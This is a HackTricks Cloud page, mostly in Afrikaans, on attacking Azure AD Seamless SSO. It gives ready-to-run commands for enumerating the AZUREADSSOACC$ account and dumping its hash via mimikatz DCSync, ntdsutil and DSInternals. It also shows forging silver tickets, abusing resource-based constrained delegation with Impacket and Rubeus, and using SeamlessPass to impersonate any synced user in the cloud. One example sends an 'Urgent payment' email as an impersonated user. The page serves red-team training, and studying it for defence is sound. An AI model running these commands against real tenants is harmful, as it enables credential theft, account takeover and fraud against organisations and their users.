Az - Seamless SSO
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Uit die dokumentasie: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken gebruikers outomaties in wanneer hulle op hul korporatiewe toestelle wat aan jou korporatiewe netwerk gekoppel is. Wanneer geaktiveer, hoef gebruikers nie hul wagwoorde in te tik om in te teken by Azure AD nie, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder dat enige addisionele plaaslike komponente benodig word.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
Basies teken Azure AD Seamless SSO gebruikers in wanneer hulle op ân plaaslike domein-verbonden PC is.
Dit word deur beide PHS (Wagwoord Hash Sync) en PTA (Pass-through Authentication) ondersteun.
Desktop SSO gebruik Kerberos vir verifikasie. Wanneer geconfigureer, skep Azure AD Connect ân rekenaarrekening genaamd AZUREADSSOACC$ in plaaslike AD. Die wagwoord van die AZUREADSSOACC$ rekening word as platte teks na Entra ID gestuur tydens die konfigurasie.
Die Kerberos kaartjies is geënkripteer met die NTHash (MD4) van die wagwoord en Entra ID gebruik die gestuurde wagwoord om die kaartjies te ontsleutel.
Entra ID stel ân eindpunt (https://autologon.microsoftazuread-sso.com) beskikbaar wat Kerberos kaartjies aanvaar. Die blaaier van die domein-verbonden masjien stuur die kaartjies na hierdie eindpunt vir SSO.
Enumerasie
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()
Pivoting: On-prem -> cloud
Warning
Die belangrikste ding om te weet oor hierdie aanval is dat om net die TGT of ân spesifieke TGS van ân gebruiker wat gesinkroniseer is met Entra ID te hĂȘ, genoeg is om toegang tot die wolkbronne te verkry.
Dit is omdat dit ân kaartjie is wat ân gebruiker toelaat om in die wolk aan te meld.
Om daardie TGS-kaartjie te verkry, moet die aanvaller een van die volgende hĂȘ:
- ân Gecompromitteerde gebruiker se TGS: As jy ân gebruiker se sessie met die kaartjie na
HTTP/autologon.microsoftazuread-sso.comin geheue kompromitteer, kan jy dit gebruik om toegang tot die wolkbronne te verkry. - ân Gecompromitteerde gebruiker se TGT: Selfs as jy nie een het nie, maar die gebruiker was gecompromitteer, kan jy een kry deur ân vals TGT-delegasie-trik wat in baie gereedskap geĂŻmplementeer is, soos Kekeo en Rubeus.
- ân Gecompromitteerde gebruiker se hash of wagwoord: SeamlessPass sal met die domeinbeheerder kommunikeer met hierdie inligting om die TGT te genereer en dan die TGS.
- ân goue kaartjie: As jy die KRBTGT-sleutel het, kan jy die TGT wat jy vir die aangevalde gebruiker nodig het, skep.
- Die AZUREADSSOACC$ rekening hash of wagwoord: Met hierdie inligting en die gebruiker se Veiligheidsidentifiseerder (SID) om aan te val, is dit moontlik om ân dienskaartjie te skep en met die wolk te autentiseer (soos in die vorige metode uitgevoer).
SeamlessPass
Soos verduidelik in hierdie blogpos, is dit baie maklik om enige van die vorige vereistes te hĂȘ en net die gereedskap SeamlessPass te gebruik om toegang tot die wolkbronne te verkry as die gecompromitteerde gebruiker, of as enige gebruiker as jy die AZUREADSSOACC$ rekening hash of wagwoord het.
Laastens, met die TGT is dit moontlik om die gereedskap SeamlessPass te gebruik met:
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
Verder inligting om Firefox te stel om met naatlose SSO te werk kan gevind word in hierdie blogpos.
Kry hashes van die AZUREADSSOACC$ rekening
Die wagwoord van die gebruiker AZUREADSSOACC$ verander nooit. Daarom kan ân domein admin die hash van hierdie rekening kompromitteer, en dit dan gebruik om silwer kaartjies te skep om met enige on-prem gebruiker gesinkroniseer aan Azure te koppel:
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifmâ "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
Note
Met die huidige inligting kan jy net die hulpmiddel SeamlessPass gebruik soos voorheen aangedui om azure en entraid tokens vir enige gebruiker in die domein te verkry. Jy kan ook die vorige tegnieke (en ander) gebruik om die hash van die wagwoord van die slagoffer wat jy wil naboots, te verkry in plaas van die
AZUREADSSOACC$rekening.
Creating Silver Tickets
Met die hash kan jy nou silver tickets genereer:
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Gebruik van Silver Tickets met Firefox
Om die silwer kaartjie te gebruik, moet die volgende stappe uitgevoer word:
- Begin die Blaaier: Mozilla Firefox moet gelaai word.
- Konfigureer die Blaaier:
- Navigeer na
about:config. - Stel die voorkeur vir network.negotiate-auth.trusted-uris op die gespesifiseerde waarde:
https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com- Navigeer na Firefox
Settings> Soek virAllow Windows single sign-on for Microsoft, work and school accountsen stel dit in.
- Toegang tot die Webtoepassing:
- Besoek ân webtoepassing wat geĂŻntegreer is met die organisasie se AAD-domein. ân Algemene voorbeeld is login.microsoftonline.com.
- Verifikasieproses:
- By die aanmeldskerm moet die gebruikersnaam ingevoer word, terwyl die wagwoordveld leeg gelaat word.
- Om voort te gaan, druk TAB of ENTER.
Warning
Dit omseil nie MFA as dit geaktiveer is in die gebruiker nie.
On-prem -> Cloud via Resource Based Constrained Delegation
Om die aanval uit te voer, is die volgende nodig:
WriteDACL/GenericWriteoorAZUREADSSOACC$- ân rekenaarrekening wat jy beheer (hash & wagwoord) - Jy kan een skep
- StapâŻ1âŻâ Voeg jou eie rekenaarrekening by
- Skep
ATTACKBOX$en druk sy SID/NTLM-hash. Enige domein gebruiker kan dit doen terwyl MachineAccountQuotaâŻ>âŻ0
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
- StapâŻ2âŻâ Gee RBCD opÂ
AZUREADSSOACC$- Skryf jou masjien se SID inmsDS-AllowedToActOnBehalfOfOtherIdentity.
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
- StapâŻ3âŻâ Vervals ân TGS vir enige gebruiker (bv.âŻalice)
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
# Produces alice.autologon.ccache
#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
U kan nou die TGS gebruik om toegang tot Azure hulpbronne te verkry as die geĂŻmpersoniseerde gebruiker.
Skep van Kerberos-kaarte vir slegs-cloud gebruikers
As die Active Directory administrateurs toegang tot Azure AD Connect het, kan hulle SID vir enige cloud-gebruiker stel. Op hierdie manier kan Kerberos kaarte ook vir slegs-cloud gebruikers geskep word. Die enigste vereiste is dat die SID ân behoorlike SID.
Caution
Die verandering van SID van slegs-cloud admin gebruikers is nou geblokkeer deur Microsoft.
Vir inligting, kyk https://aadinternals.com/post/on-prem_admin/
Verwysings
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: Iâm in your cloud, reading everyoneâs emails - hacking Azure AD via Active Directory
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

